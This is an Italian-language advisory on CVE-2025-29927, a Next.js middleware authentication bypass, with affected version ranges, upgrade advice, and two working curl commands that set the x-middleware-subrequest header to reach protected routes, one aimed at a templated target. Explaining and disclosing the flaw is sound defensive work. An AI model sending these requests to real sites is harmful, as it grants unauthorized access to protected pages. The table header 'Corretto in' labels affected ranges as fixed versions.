
Immagina un buttafuori davanti al club, ma se gli dici "Sono già dentro", ti lascia passare senza controllare. Questo è esattamente ciò che è CVE-2025-29927.
Il middleware in Next.js viene eseguito prima che una richiesta venga elaborata, rendendolo il luogo ideale per gestire l'autenticazione. Next.js utilizza un header interno x-middleware-subrequest per prevenire richieste ricorsive ed evitare loop infiniti. Questa vulnerabilità dimostra che è possibile bypassare o saltare completamente l'esecuzione del middleware — inclusi i controlli di sicurezza critici come l'autenticazione prima di raggiungere una route protetta.
| Branch | Corretto in |
|---|---|
| 15.x | < 15.2.3 |
| 14.x | < 14.2.25 |
| 13.x | < 13.5.9 |
Migliaia o milioni di applicazioni vengono eseguite su versioni di Next.js non corrette. Se non mitigata, questa vulnerabilità consente l'accesso non autenticato a route protette da chiunque — nessuna credenziale richiesta.
curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
http://localhost:3000/private-area
La risposta restituisce la pagina protetta senza alcuna autenticazione.
curl -s "http://<target>/<private-area>" \
-H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
Aggiorna Next.js a una versione corretta:
15.x → 15.2.3 o superiore14.x → 14.2.25 o superiore13.x → 13.5.9 o superiore